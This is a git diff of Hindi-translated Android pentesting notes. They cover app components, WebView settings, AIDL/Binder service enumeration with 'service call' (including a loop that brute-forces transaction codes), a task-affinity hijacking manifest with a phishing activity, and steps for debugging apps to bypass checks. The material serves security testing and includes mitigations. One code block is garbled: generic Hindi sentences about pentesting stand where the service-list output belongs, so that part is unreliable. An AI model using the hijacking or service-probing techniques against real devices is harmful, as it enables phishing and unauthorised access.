### लॉन्चर गतिविधि और अन्य गतिविधियाँ
|
||||
|
||||
एंड्रॉइड ऐप्स में, **गतिविधियाँ** स्क्रीन की तरह होती हैं, जो ऐप के उपयोगकर्ता इंटरफ़ेस के विभिन्न भागों को दिखाती हैं। एक ऐप में कई गतिविधियाँ हो सकती हैं, प्रत्येक एक अद्वितीय स्क्रीन प्रस्तुत करती है।
|
||||
Android ऐप्स में, **गतिविधियाँ** स्क्रीन की तरह होती हैं, जो ऐप के उपयोगकर्ता इंटरफ़ेस के विभिन्न भागों को दिखाती हैं। एक ऐप में कई गतिविधियाँ हो सकती हैं, प्रत्येक एक अद्वितीय स्क्रीन प्रस्तुत करती है।
|
||||
|
||||
**लॉन्चर गतिविधि** ऐप का मुख्य गेटवे है, जो तब लॉन्च होती है जब आप ऐप के आइकन पर टैप करते हैं। इसे ऐप के मैनिफेस्ट फ़ाइल में विशिष्ट MAIN और LAUNCHER इरादों के साथ परिभाषित किया गया है:
|
||||
```html
|
||||
@ -246,7 +246,7 @@ android:host="example"
|
||||
```
|
||||
सभी ऐप्स को एक लॉन्चर गतिविधि की आवश्यकता नहीं होती, विशेष रूप से वे जो उपयोगकर्ता इंटरफ़ेस के बिना होते हैं, जैसे बैकग्राउंड सेवाएं।
|
||||
|
||||
गतिविधियों को अन्य ऐप्स या प्रक्रियाओं के लिए उपलब्ध कराया जा सकता है, उन्हें मैनिफेस्ट में "निर्यातित" के रूप में चिह्नित करके। यह सेटिंग अन्य ऐप्स को इस गतिविधि को शुरू करने की अनुमति देती है:
|
||||
गतिविधियों को अन्य ऐप्स या प्रक्रियाओं के लिए उपलब्ध कराया जा सकता है, यदि उन्हें मैनिफेस्ट में "निर्यातित" के रूप में चिह्नित किया गया हो। यह सेटिंग अन्य ऐप्स को इस गतिविधि को प्रारंभ करने की अनुमति देती है:
|
||||
```markdown
|
||||
<service android:name=".ExampleExportedService" android:exported="true"/>
|
||||
```
|
||||
@ -276,7 +276,7 @@ super.onCreate();
|
||||
|
||||
[Services](https://developer.android.com/guide/components/services) **बैकग्राउंड ऑपरेटिव्स** हैं जो बिना उपयोगकर्ता इंटरफेस के कार्यों को निष्पादित करने में सक्षम हैं। ये कार्य तब भी चलते रह सकते हैं जब उपयोगकर्ता विभिन्न अनुप्रयोगों में स्विच करते हैं, जिससे सेवाएँ **लंबी अवधि के संचालन** के लिए महत्वपूर्ण हो जाती हैं।
|
||||
|
||||
सेवाएँ बहुपरकारी हैं; इन्हें विभिन्न तरीकों से प्रारंभ किया जा सकता है, जिसमें **Intents** इन्हें लॉन्च करने का प्राथमिक तरीका है, जो एक अनुप्रयोग के प्रवेश बिंदु के रूप में कार्य करता है। एक बार जब `startService` विधि का उपयोग करके सेवा शुरू की जाती है, तो इसकी `onStart` विधि सक्रिय हो जाती है और तब तक चलती रहती है जब तक कि `stopService` विधि को स्पष्ट रूप से नहीं बुलाया जाता। वैकल्पिक रूप से, यदि किसी सेवा की भूमिका एक सक्रिय क्लाइंट कनेक्शन पर निर्भर करती है, तो क्लाइंट को सेवा से जोड़ने के लिए `bindService` विधि का उपयोग किया जाता है, जो डेटा पास करने के लिए `onBind` विधि को सक्रिय करता है।
|
||||
सेवाएँ बहुपरकारी हैं; इन्हें विभिन्न तरीकों से आरंभ किया जा सकता है, जिसमें **Intents** मुख्य विधि हैं जो उन्हें एक अनुप्रयोग के प्रवेश बिंदु के रूप में लॉन्च करने के लिए उपयोग की जाती हैं। एक बार जब `startService` विधि का उपयोग करके एक सेवा शुरू की जाती है, तो इसका `onStart` विधि सक्रिय हो जाती है और तब तक चलती रहती है जब तक कि `stopService` विधि को स्पष्ट रूप से नहीं बुलाया जाता। वैकल्पिक रूप से, यदि किसी सेवा की भूमिका एक सक्रिय क्लाइंट कनेक्शन पर निर्भर करती है, तो क्लाइंट को सेवा से जोड़ने के लिए `bindService` विधि का उपयोग किया जाता है, जो डेटा पास करने के लिए `onBind` विधि को सक्रिय करता है।
|
||||
|
||||
सेवाओं का एक दिलचस्प अनुप्रयोग बैकग्राउंड संगीत प्लेबैक या नेटवर्क डेटा फ़ेचिंग है जो उपयोगकर्ता के ऐप के साथ इंटरैक्शन को बाधित किए बिना होता है। इसके अलावा, सेवाओं को **निर्यात** करके एक ही डिवाइस पर अन्य प्रक्रियाओं के लिए उपलब्ध बनाया जा सकता है। यह डिफ़ॉल्ट व्यवहार नहीं है और इसके लिए Android Manifest फ़ाइल में स्पष्ट कॉन्फ़िगरेशन की आवश्यकता होती है:
|
||||
```xml
|
||||
@ -284,21 +284,21 @@ super.onCreate();
|
||||
```
|
||||
### Broadcast Receivers
|
||||
|
||||
**Broadcast receivers** एक मैसेजिंग सिस्टम में श्रोता के रूप में कार्य करते हैं, जिससे कई एप्लिकेशन सिस्टम से एक ही संदेशों का जवाब दे सकते हैं। एक ऐप **दो मुख्य तरीकों** से **एक रिसीवर को रजिस्टर** कर सकता है: ऐप के **Manifest** के माध्यम से या ऐप के कोड में **`registerReceiver`** API के माध्यम से **डायनामिकली**। Manifest में, ब्रॉडकास्ट को अनुमतियों के साथ फ़िल्टर किया जाता है, जबकि डायनामिकली रजिस्टर किए गए रिसीवर रजिस्ट्रेशन के समय अनुमतियों को भी निर्दिष्ट कर सकते हैं।
|
||||
**Broadcast receivers** एक मैसेजिंग सिस्टम में श्रोता के रूप में कार्य करते हैं, जिससे कई एप्लिकेशन सिस्टम से एक ही संदेशों का उत्तर दे सकते हैं। एक ऐप **दो मुख्य तरीकों** से **एक रिसीवर को पंजीकृत** कर सकता है: ऐप के **Manifest** के माध्यम से या ऐप के कोड में **`registerReceiver`** API के माध्यम से **डायनामिकली**। Manifest में, ब्रॉडकास्ट को अनुमतियों के साथ फ़िल्टर किया जाता है, जबकि डायनामिकली पंजीकृत रिसीवर पंजीकरण के समय अनुमतियों को भी निर्दिष्ट कर सकते हैं।
|
||||
|
||||
**Intent filters** दोनों रजिस्ट्रेशन विधियों में महत्वपूर्ण होते हैं, यह निर्धारित करते हैं कि कौन से ब्रॉडकास्ट रिसीवर को ट्रिगर करते हैं। एक बार जब एक मेल खाने वाला ब्रॉडकास्ट भेजा जाता है, तो रिसीवर का **`onReceive`** मेथड सक्रिय होता है, जिससे ऐप को प्रतिक्रिया देने की अनुमति मिलती है, जैसे कि कम बैटरी अलर्ट के जवाब में व्यवहार को समायोजित करना।
|
||||
**Intent filters** दोनों पंजीकरण विधियों में महत्वपूर्ण होते हैं, यह निर्धारित करते हैं कि कौन से ब्रॉडकास्ट रिसीवर को ट्रिगर करते हैं। एक बार जब एक मेल खाने वाला ब्रॉडकास्ट भेजा जाता है, तो रिसीवर का **`onReceive`** मेथड सक्रिय होता है, जिससे ऐप को प्रतिक्रिया देने की अनुमति मिलती है, जैसे कि कम बैटरी अलर्ट के जवाब में व्यवहार को समायोजित करना।
|
||||
|
||||
ब्रॉडकास्ट या तो **असिंक्रोनस** हो सकते हैं, जो सभी रिसीवर्स तक बिना क्रम के पहुँचते हैं, या **सिंक्रोनस**, जहाँ रिसीवर्स सेट प्राथमिकताओं के आधार पर ब्रॉडकास्ट प्राप्त करते हैं। हालाँकि, यह ध्यान रखना महत्वपूर्ण है कि किसी भी ऐप को ब्रॉडकास्ट को इंटरसेप्ट करने के लिए खुद को प्राथमिकता देने का जोखिम होता है।
|
||||
ब्रॉडकास्ट **असिंक्रोनस** हो सकते हैं, जो सभी रिसीवर्स तक बिना क्रम के पहुँचते हैं, या **सिंक्रोनस**, जहाँ रिसीवर्स सेट प्राथमिकताओं के आधार पर ब्रॉडकास्ट प्राप्त करते हैं। हालाँकि, यह ध्यान रखना महत्वपूर्ण है कि संभावित सुरक्षा जोखिम है, क्योंकि कोई भी ऐप अपने आप को प्राथमिकता दे सकता है ताकि एक ब्रॉडकास्ट को इंटरसेप्ट कर सके।
|
||||
|
||||
एक रिसीवर की कार्यक्षमता को समझने के लिए, उसकी क्लास के भीतर **`onReceive`** मेथड को देखें। इस मेथड का कोड प्राप्त किए गए Intent को संशोधित कर सकता है, जिससे रिसीवर्स द्वारा डेटा सत्यापन की आवश्यकता को उजागर किया जाता है, विशेष रूप से **Ordered Broadcasts** में, जो Intent को संशोधित या छोड़ सकते हैं।
|
||||
एक रिसीवर की कार्यक्षमता को समझने के लिए, उसकी क्लास के भीतर **`onReceive`** मेथड की तलाश करें। इस मेथड का कोड प्राप्त Intent को संशोधित कर सकता है, जिससे रिसीवर्स द्वारा डेटा सत्यापन की आवश्यकता को उजागर किया जा सकता है, विशेष रूप से **Ordered Broadcasts** में, जो Intent को संशोधित या छोड़ सकते हैं।
|
||||
|
||||
### Content Provider
|
||||
|
||||
**Content Providers** ऐप्स के बीच **संरचित डेटा** साझा करने के लिए आवश्यक हैं, डेटा सुरक्षा सुनिश्चित करने के लिए **अनुमतियों** को लागू करने के महत्व पर जोर देते हैं। वे ऐप्स को विभिन्न स्रोतों से डेटा तक पहुँचने की अनुमति देते हैं, जिसमें डेटाबेस, फ़ाइल सिस्टम, या वेब शामिल हैं। विशिष्ट अनुमतियाँ, जैसे **`readPermission`** और **`writePermission`**, पहुँच को नियंत्रित करने के लिए महत्वपूर्ण हैं। इसके अतिरिक्त, ऐप के मैनिफेस्ट में **`grantUriPermission`** सेटिंग्स के माध्यम से अस्थायी पहुँच प्रदान की जा सकती है, जिसमें विस्तृत पहुँच नियंत्रण के लिए `path`, `pathPrefix`, और `pathPattern` जैसे गुणों का उपयोग किया जाता है।
|
||||
**Content Providers** ऐप्स के बीच **संरचित डेटा** साझा करने के लिए आवश्यक हैं, डेटा सुरक्षा सुनिश्चित करने के लिए **अनुमतियों** को लागू करने के महत्व पर जोर देते हैं। वे ऐप्स को विभिन्न स्रोतों से डेटा तक पहुँचने की अनुमति देते हैं, जिसमें डेटाबेस, फ़ाइल सिस्टम, या वेब शामिल हैं। विशिष्ट अनुमतियाँ, जैसे **`readPermission`** और **`writePermission`**, पहुँच को नियंत्रित करने के लिए महत्वपूर्ण हैं। इसके अतिरिक्त, ऐप के मैनिफेस्ट में **`grantUriPermission`** सेटिंग्स के माध्यम से अस्थायी पहुँच प्रदान की जा सकती है, जिसमें `path`, `pathPrefix`, और `pathPattern` जैसे गुणों का उपयोग करके विस्तृत पहुँच नियंत्रण किया जा सकता है।
|
||||
|
||||
इनपुट सत्यापन कमजोरियों को रोकने के लिए महत्वपूर्ण है, जैसे SQL इंजेक्शन। Content Providers बुनियादी संचालन का समर्थन करते हैं: `insert()`, `update()`, `delete()`, और `query()`, जो डेटा हेरफेर और ऐप्लिकेशनों के बीच साझा करने की सुविधा प्रदान करते हैं।
|
||||
इनपुट सत्यापन कमजोरियों को रोकने के लिए अत्यंत महत्वपूर्ण है, जैसे कि SQL इंजेक्शन। Content Providers बुनियादी संचालन का समर्थन करते हैं: `insert()`, `update()`, `delete()`, और `query()`, जो डेटा हेरफेर और ऐप्लिकेशनों के बीच साझा करने की सुविधा प्रदान करते हैं।
|
||||
|
||||
**FileProvider**, एक विशेष Content Provider, फ़ाइलों को सुरक्षित रूप से साझा करने पर केंद्रित है। इसे ऐप के मैनिफेस्ट में विशिष्ट गुणों के साथ परिभाषित किया गया है जो फ़ोल्डरों तक पहुँच को नियंत्रित करते हैं, जिसे `android:exported` और `android:resource` द्वारा फ़ोल्डर कॉन्फ़िगरेशन की ओर इंगित किया जाता है। संवेदनशील डेटा को अनजाने में उजागर करने से बचने के लिए निर्देशिकाएँ साझा करते समय सावधानी बरतने की सलाह दी जाती है।
|
||||
**FileProvider**, एक विशेष Content Provider, फ़ाइलों को सुरक्षित रूप से साझा करने पर केंद्रित है। इसे ऐप के मैनिफेस्ट में विशिष्ट गुणों के साथ परिभाषित किया गया है ताकि फ़ोल्डरों तक पहुँच को नियंत्रित किया जा सके, जिसे `android:exported` और `android:resource` द्वारा फ़ोल्डर कॉन्फ़िगरेशन की ओर इंगित किया गया है। संवेदनशील डेटा को अनजाने में उजागर करने से बचने के लिए निर्देशिकाएँ साझा करते समय सावधानी बरतने की सलाह दी जाती है।
|
||||
|
||||
FileProvider के लिए उदाहरण मैनिफेस्ट घोषणा:
|
||||
```xml
|
||||
@ -310,7 +310,7 @@ android:exported="false">
|
||||
android:resource="@xml/filepaths" />
|
||||
</provider>
|
||||
```
|
||||
और `filepaths.xml` में साझा फ़ोल्डरों को निर्दिष्ट करने का एक उदाहरण:
|
||||
`filepaths.xml` में साझा फ़ोल्डरों को निर्दिष्ट करने का एक उदाहरण:
|
||||
```xml
|
||||
<paths>
|
||||
<files-path path="images/" name="myimages" />
|
||||
@ -330,23 +330,23 @@ Android दो मुख्य WebView प्रकार प्रदान क
|
||||
- **WebViewClient** बुनियादी HTML के लिए अच्छा है लेकिन JavaScript अलर्ट फ़ंक्शन का समर्थन नहीं करता, जो XSS हमलों का परीक्षण करने के तरीके को प्रभावित करता है।
|
||||
- **WebChromeClient** पूर्ण Chrome ब्राउज़र अनुभव की तरह कार्य करता है।
|
||||
|
||||
एक महत्वपूर्ण बिंदु यह है कि WebView ब्राउज़र्स **कुकीज़** को डिवाइस के मुख्य ब्राउज़र के साथ **साझा नहीं करते**।
|
||||
एक महत्वपूर्ण बिंदु यह है कि WebView ब्राउज़र्स डिवाइस के मुख्य ब्राउज़र के साथ **कुकीज़ साझा नहीं करते**।
|
||||
|
||||
सामग्री लोड करने के लिए, `loadUrl`, `loadData`, और `loadDataWithBaseURL` जैसे तरीके उपलब्ध हैं। यह सुनिश्चित करना महत्वपूर्ण है कि ये URLs या फ़ाइलें **उपयोग के लिए सुरक्षित** हैं। सुरक्षा सेटिंग्स को `WebSettings` क्लास के माध्यम से प्रबंधित किया जा सकता है। उदाहरण के लिए, `setJavaScriptEnabled(false)` के साथ JavaScript को अक्षम करना XSS हमलों को रोक सकता है।
|
||||
|
||||
JavaScript "Bridge" Java ऑब्जेक्ट्स को JavaScript के साथ इंटरैक्ट करने की अनुमति देता है, जिसके लिए Android 4.2 से सुरक्षा के लिए विधियों को `@JavascriptInterface` के साथ चिह्नित करना आवश्यक है।
|
||||
|
||||
सामग्री पहुंच की अनुमति देना (`setAllowContentAccess(true)`) WebViews को Content Providers तक पहुँचने की अनुमति देता है, जो एक जोखिम हो सकता है जब तक कि सामग्री URLs को सुरक्षित के रूप में सत्यापित नहीं किया जाता।
|
||||
सामग्री पहुंच की अनुमति देना (`setAllowContentAccess(true)`) WebViews को Content Providers तक पहुंचने की अनुमति देता है, जो एक जोखिम हो सकता है जब तक कि सामग्री URLs को सुरक्षित के रूप में सत्यापित नहीं किया जाता।
|
||||
|
||||
फ़ाइल पहुंच को नियंत्रित करने के लिए:
|
||||
|
||||
- फ़ाइल पहुंच को अक्षम करना (`setAllowFileAccess(false)`) फ़ाइल सिस्टम तक पहुंच को सीमित करता है, कुछ संपत्तियों के लिए अपवाद के साथ, यह सुनिश्चित करते हुए कि इन्हें केवल गैर-संवेदनशील सामग्री के लिए उपयोग किया जाए।
|
||||
- फ़ाइल पहुंच को अक्षम करना (`setAllowFileAccess(false)`) फ़ाइल सिस्टम तक पहुंच को सीमित करता है, कुछ संपत्तियों के लिए अपवाद के साथ, यह सुनिश्चित करते हुए कि उन्हें केवल गैर-संवेदनशील सामग्री के लिए उपयोग किया जाए।
|
||||
|
||||
## Other App Components and Mobile Device Management
|
||||
|
||||
### **Digital Signing of Applications**
|
||||
|
||||
- **Digital signing** Android ऐप्स के लिए अनिवार्य है, यह सुनिश्चित करते हुए कि वे स्थापना से पहले **प्रामाणिक रूप से लिखित** हैं। यह प्रक्रिया ऐप पहचान के लिए एक प्रमाणपत्र का उपयोग करती है और स्थापना के समय डिवाइस के पैकेज प्रबंधक द्वारा सत्यापित की जानी चाहिए। ऐप्स **स्वयं-हस्ताक्षरित या बाहरी CA द्वारा प्रमाणित** हो सकते हैं, अनधिकृत पहुंच से सुरक्षा करते हुए और यह सुनिश्चित करते हुए कि ऐप डिवाइस पर डिलीवरी के दौरान बिना छेड़छाड़ के रहे।
|
||||
- **Digital signing** Android ऐप्स के लिए अनिवार्य है, यह सुनिश्चित करते हुए कि वे स्थापना से पहले **प्रामाणिक रूप से लिखित** हैं। यह प्रक्रिया ऐप पहचान के लिए एक प्रमाणपत्र का उपयोग करती है और स्थापना के समय डिवाइस के पैकेज प्रबंधक द्वारा सत्यापित की जानी चाहिए। ऐप्स **स्वयं-हस्ताक्षरित या बाहरी CA द्वारा प्रमाणित** हो सकते हैं, अनधिकृत पहुंच के खिलाफ सुरक्षा करते हुए और यह सुनिश्चित करते हुए कि ऐप डिवाइस पर डिलीवरी के दौरान बिना छेड़छाड़ के रहे।
|
||||
|
||||
### **App Verification for Enhanced Security**
|
||||
|
||||
@ -354,7 +354,7 @@ JavaScript "Bridge" Java ऑब्जेक्ट्स को JavaScript के
|
||||
|
||||
### **Mobile Device Management (MDM)**
|
||||
|
||||
- **MDM समाधान** मोबाइल उपकरणों के लिए **निगरानी और सुरक्षा** प्रदान करते हैं **Device Administration API** के माध्यम से। इन्हें मोबाइल उपकरणों को प्रभावी ढंग से प्रबंधित और सुरक्षित करने के लिए एक Android ऐप की स्थापना की आवश्यकता होती है। प्रमुख कार्यों में **पासवर्ड नीतियों को लागू करना**, **स्टोरेज एन्क्रिप्शन को अनिवार्य करना**, और **दूरस्थ डेटा मिटाने की अनुमति देना** शामिल है, जो मोबाइल उपकरणों पर व्यापक नियंत्रण और सुरक्षा सुनिश्चित करता है।
|
||||
- **MDM समाधान** मोबाइल उपकरणों के लिए **निगरानी और सुरक्षा** प्रदान करते हैं **Device Administration API** के माध्यम से। उन्हें मोबाइल उपकरणों को प्रभावी ढंग से प्रबंधित और सुरक्षित करने के लिए एक Android ऐप की स्थापना की आवश्यकता होती है। प्रमुख कार्यों में **पासवर्ड नीतियों को लागू करना**, **स्टोरेज एन्क्रिप्शन को अनिवार्य करना**, और **दूरस्थ डेटा मिटाने की अनुमति देना** शामिल है, जो मोबाइल उपकरणों पर व्यापक नियंत्रण और सुरक्षा सुनिश्चित करता है।
|
||||
```java
|
||||
// Example of enforcing a password policy with MDM
|
||||
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE);
|
||||
@ -365,7 +365,7 @@ if (dpm.isAdminActive(adminComponent)) {
|
||||
dpm.setPasswordMinimumLength(adminComponent, 8);
|
||||
}
|
||||
```
|
||||
## AIDL / Binder सेवाओं की गणना और शोषण
|
||||
## AIDL / बाइंडर सेवाओं की गणना और शोषण
|
||||
|
||||
Android *Binder* IPC कई **सिस्टम और विक्रेता-प्रदान की गई सेवाओं** को उजागर करता है। जब ये सेवाएँ उचित अनुमति जांच के बिना निर्यात की जाती हैं, तो ये **हमले की सतह** बन जाती हैं (AIDL परत स्वयं *कोई* पहुँच-नियंत्रण नहीं करती है)।
|
||||
|
||||
@ -375,18 +375,16 @@ Android *Binder* IPC कई **सिस्टम और विक्रेता
|
||||
service list # simple one-liner
|
||||
am list services # identical output, ActivityManager wrapper
|
||||
```
|
||||
1. Android एप्लिकेशन के लिए पेंटेस्टिंग की मूल बातें
|
||||
2. Android एप्लिकेशन की संरचना
|
||||
3. Android एप्लिकेशन के प्रकार
|
||||
4. Android एप्लिकेशन के लिए सामान्य सुरक्षा चिंताएँ
|
||||
5. Android एप्लिकेशन में संवेदनशील डेटा का प्रबंधन
|
||||
6. Android एप्लिकेशन में सुरक्षा परीक्षण के तरीके
|
||||
7. Android एप्लिकेशन के लिए उपकरण और संसाधन
|
||||
1. Android एप्लिकेशन के लिए पेंटेस्टिंग एक महत्वपूर्ण प्रक्रिया है।
|
||||
2. यह प्रक्रिया सुरक्षा कमजोरियों की पहचान करने और उन्हें ठीक करने में मदद करती है।
|
||||
3. पेंटेस्टिंग के दौरान, हम विभिन्न तकनीकों का उपयोग करते हैं।
|
||||
4. यह सुनिश्चित करना आवश्यक है कि एप्लिकेशन सुरक्षित है और डेटा लीक नहीं हो रहा है।
|
||||
5. Android एप्लिकेशन के लिए पेंटेस्टिंग में कई चरण शामिल होते हैं।
|
||||
```
|
||||
145 mtkconnmetrics: [com.mediatek.net.connectivity.IMtkIpConnectivityMetrics]
|
||||
146 wifi : [android.net.wifi.IWifiManager]
|
||||
```
|
||||
* **सूचकांक** (पहला कॉलम) रनटाइम पर असाइन किया जाता है - इसे रिबूट के बीच भरोसेमंद नहीं मानें।
|
||||
* **सूचकांक** (पहला कॉलम) रनटाइम पर असाइन किया जाता है - इसके लिए रिबूट के बीच भरोसा ***नहीं*** करें।
|
||||
* **बाइंडर नाम** (जैसे `mtkconnmetrics`) वह है जो `service call` को पास किया जाएगा।
|
||||
* ब्रैकेट के अंदर का मान वह पूर्ण-योग्य **AIDL इंटरफेस** है जिससे स्टब उत्पन्न हुआ था।
|
||||
|
||||
@ -398,7 +396,7 @@ service call mtkconnmetrics 1 # 1 == decimal 1598968902 mod 2^32
|
||||
```
|
||||
एक मान्य उत्तर `Parcel` के अंदर UTF-16 स्ट्रिंग के रूप में इंटरफेस नाम लौटाता है।
|
||||
|
||||
### 3. लेनदेन करना
|
||||
### 3. लेनदेन को कॉल करना
|
||||
Syntax: `service call <name> <code> [type value ...]`
|
||||
|
||||
सामान्य तर्क निर्दिष्ट करने वाले:
|
||||
@ -422,10 +420,10 @@ printf "[+] %2d -> " $i
|
||||
service call mtkconnmetrics $i 2>/dev/null | head -1
|
||||
done
|
||||
```
|
||||
यदि सेवा **proguard** के साथ संकलित की गई थी, तो मैपिंग का अनुमान लगाना होगा - अगले चरण को देखें।
|
||||
यदि सेवा को **proguard** के साथ संकलित किया गया था, तो मैपिंग का अनुमान लगाना होगा - अगले चरण को देखें।
|
||||
|
||||
### 5. Mapping codes ↔ methods via onTransact()
|
||||
उस jar/odex को डिकंपाइल करें जो इंटरफेस को लागू करता है (AOSP स्टब के लिए `/system/framework` जांचें; OEM अक्सर `/system_ext` या `/vendor` का उपयोग करते हैं)।
|
||||
### 5. मैपिंग कोड ↔ विधियाँ onTransact() के माध्यम से
|
||||
उस जार/ओडेक्स को डिकंपाइल करें जो इंटरफेस को लागू करता है (AOSP स्टब्स के लिए `/system/framework` जांचें; OEM अक्सर `/system_ext` या `/vendor` का उपयोग करते हैं)।
|
||||
`Stub.onTransact()` के लिए खोजें - इसमें एक विशाल `switch(transactionCode)` है:
|
||||
```java
|
||||
case TRANSACTION_updateCtaAppStatus: // 5
|
||||
@ -436,9 +434,9 @@ updateCtaAppStatus(appId, ok);
|
||||
reply.writeNoException();
|
||||
return true;
|
||||
```
|
||||
अब प्रोटोटाइप और **पैरामीटर प्रकार** पूरी तरह स्पष्ट हैं।
|
||||
अब प्रोटोटाइप और **पैरामीटर प्रकार** स्पष्ट हैं।
|
||||
|
||||
### 6. अनुमति जांचों की कमी को पहचानना
|
||||
### 6. अनुमति जांच की कमी को पहचानना
|
||||
क्रियान्वयन (अक्सर एक आंतरिक `Impl` वर्ग) प्राधिकरण के लिए जिम्मेदार है:
|
||||
```java
|
||||
private void updateCtaAppStatus(int uid, boolean status) {
|
||||
|
@ -67,10 +67,10 @@ android:taskAffinity="com.caller.id.phone.number.block" >
|
||||
</intent-filter>
|
||||
</activity>
|
||||
```
|
||||
3. जैसे ही उपयोगकर्ता दुर्भावनापूर्ण ऐप को **एक बार** स्थापित और खोलता है, एक कार्य जिसका affinity पीड़ित पैकेज के बराबर है (लेकिन बैकग्राउंड में बैठा है) मौजूद होता है।
|
||||
4. जब असली Caller ID एप्लिकेशन लॉन्च किया जाता है, तो Android उस कार्य का पुनः उपयोग करता है और `HackActivity` को foreground में लाता है → फ़िशिंग विंडो/अनुमति दुरुपयोग।
|
||||
3. जैसे ही उपयोगकर्ता दुर्भावनापूर्ण ऐप को **एक बार** स्थापित और खोलता है, एक कार्य जिसका affinity पीड़ित पैकेज के बराबर है (लेकिन बैकग्राउंड में है) मौजूद होता है।
|
||||
4. जब असली Caller ID एप्लिकेशन लॉन्च होता है, तो Android उस कार्य का पुनः उपयोग करता है और `HackActivity` को foreground में लाता है → फ़िशिंग विंडो/अनुमति दुरुपयोग।
|
||||
|
||||
> NOTE: **Android 11 (API 30)** से शुरू होकर, सिस्टम डिफ़ॉल्ट रूप से एक ही UID का हिस्सा नहीं होने वाले दो पैकेजों को एक ही कार्य में नहीं रखता, इस विशेष रूप को कम करता है। पुराने संस्करणों में भेद्यता बनी रहती है।
|
||||
> NOTE: **Android 11 (API 30)** से शुरू होकर सिस्टम डिफ़ॉल्ट रूप से एक ही UID का हिस्सा नहीं होने वाले दो पैकेजों को एक ही कार्य में नहीं रखता, इस विशेष रूप को कम करता है। पुराने संस्करणों में भेद्यता बनी रहती है।
|
||||
|
||||
---
|
||||
|
||||
@ -80,7 +80,7 @@ Google के मई-2020 सुरक्षा बुलेटिन ने ए
|
||||
|
||||
मुख्य बिंदु:
|
||||
|
||||
* एक शून्य-अनुमति दुर्भावनापूर्ण ऐप, एक बार खोले जाने पर, चल रहे कार्यों के माध्यम से पुनरावृत्ति कर सकता है और **re-parent** करने के लिए छिपी हुई APIs को कॉल कर सकता है।
|
||||
* एक शून्य-अनुमति वाला दुर्भावनापूर्ण ऐप, एक बार खोले जाने पर, चल रहे कार्यों पर पुनरावृत्ति कर सकता है और **re-parent** करने के लिए छिपी हुई APIs को कॉल कर सकता है।
|
||||
* चूंकि गतिविधि रन-टाइम के बाद डाली जाती है, न तो `launchMode` और न ही स्थैतिक मैनिफेस्ट विश्लेषण हमले का पूर्वानुमान कर सकता है।
|
||||
* **Android 8.0/8.1/9** (मई 2020 SPL) में एक चेक को बैक-पोर्ट करके पैच किया गया। **Android 10 और बाद के संस्करण प्रभावित नहीं हैं।**
|
||||
|
||||
@ -92,7 +92,7 @@ Google के मई-2020 सुरक्षा बुलेटिन ने ए
|
||||
|
||||
## Detection & Exploitation checklist
|
||||
|
||||
1. **Static review** – लक्ष्य APK से `AndroidManifest.xml` खींचें और जांचें कि प्रत्येक `<activity>` (या वैश्विक `<application>` तत्व) में `android:taskAffinity=""` (खाली) **या** एक अनुकूलित मान है। उपकरण जैसे:
|
||||
1. **Static review** – लक्षित APK से `AndroidManifest.xml` खींचें और जांचें कि प्रत्येक `<activity>` (या वैश्विक `<application>` तत्व) में `android:taskAffinity=""` (खाली) **या** एक अनुकूलित मान है। उपकरण जैसे:
|
||||
```bash
|
||||
# Using apkanalyzer (Android SDK)
|
||||
apkanalyzer manifest print app.apk | grep -i taskaffinity
|
||||
@ -100,7 +100,7 @@ apkanalyzer manifest print app.apk | grep -i taskaffinity
|
||||
# Using AXMLPrinter2
|
||||
java -jar AXMLPrinter2.jar AndroidManifest.xml | grep taskAffinity
|
||||
```
|
||||
2. **Dynamic review** – डिवाइस पर लक्ष्य ऐप खोलें और कार्यों की सूची बनाएं:
|
||||
2. **Dynamic review** – डिवाइस पर लक्षित ऐप खोलें और कार्यों की सूची बनाएं:
|
||||
```bash
|
||||
adb shell dumpsys activity activities | grep -A3 "TASK" | grep -E "Root|affinity"
|
||||
```
|
||||
@ -120,7 +120,7 @@ run app.activity.info com.victim
|
||||
|
||||
* `<application>` स्तर पर स्पष्ट रूप से `android:taskAffinity=""` सेट करें (अनुशंसित) **या** प्रत्येक गतिविधि को एक अद्वितीय, निजी affinity दें।
|
||||
* अत्यधिक संवेदनशील स्क्रीन के लिए, उपरोक्त को `android:launchMode="singleInstance"` या आधुनिक [`setLaunchMode`](https://developer.android.com/reference/android/content/pm/ActivityInfo#launchMode) सुरक्षा के साथ मिलाएं।
|
||||
* ऐप के `targetSdkVersion` को अपडेट करें और **Android 11** व्यवहार परिवर्तन लागू करें जहाँ कार्य डिफ़ॉल्ट रूप से पैकेजों के बीच साझा नहीं होते हैं।
|
||||
* ऐप के `targetSdkVersion` को अपडेट करें और **Android 11** व्यवहार परिवर्तन लागू करें जहां कार्य डिफ़ॉल्ट रूप से पैकेजों के बीच साझा नहीं होते हैं।
|
||||
* **Android 12 (API 31) या उच्चतर** को लक्षित करें ताकि अनिवार्य `android:exported` विशेषता डेवलपर्स को हर बाहरी-प्रवेश योग्य घटक का ऑडिट करने के लिए मजबूर करे।
|
||||
* रन-टाइम आत्म-रक्षा पर विचार करें: समय-समय पर `ActivityTaskManager` को क्वेरी करें ताकि यह सुनिश्चित हो सके कि आपकी शीर्ष गतिविधि का पैकेज आपके अपने से मेल खाता है।
|
||||
|
||||
|
@ -1,4 +1,4 @@
|
||||
# एक डिबग करने योग्य एप्लिकेशन का शोषण
|
||||
# Exploiting a debuggeable application
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -6,7 +6,7 @@
|
||||
|
||||
इस पोस्ट का यह खंड [**https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0**](https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0) से एक सारांश है।
|
||||
|
||||
## एक Android ऐप को डिबग करने योग्य बनाने और जांचों को बायपास करने के चरण
|
||||
## Android ऐप को डिबग करने योग्य बनाने और जांचों को बायपास करने के चरण
|
||||
|
||||
### **ऐप को डिबग करने योग्य बनाना**
|
||||
|
||||
@ -24,14 +24,14 @@
|
||||
|
||||
3. **पैकेज नाम प्राप्त करें:**
|
||||
|
||||
- तीसरे पक्ष के एप्लिकेशनों की सूची बनाने के लिए `adb shell pm list packages –3` चलाएं और पैकेज नाम खोजें।
|
||||
- तीसरे पक्ष के अनुप्रयोगों की सूची बनाने के लिए `adb shell pm list packages –3` चलाएं और पैकेज नाम खोजें।
|
||||
|
||||
4. **ऐप को डिबगर कनेक्शन की प्रतीक्षा करने के लिए सेट करें:**
|
||||
|
||||
- कमांड: `adb shell am setup-debug-app –w <package_name>`।
|
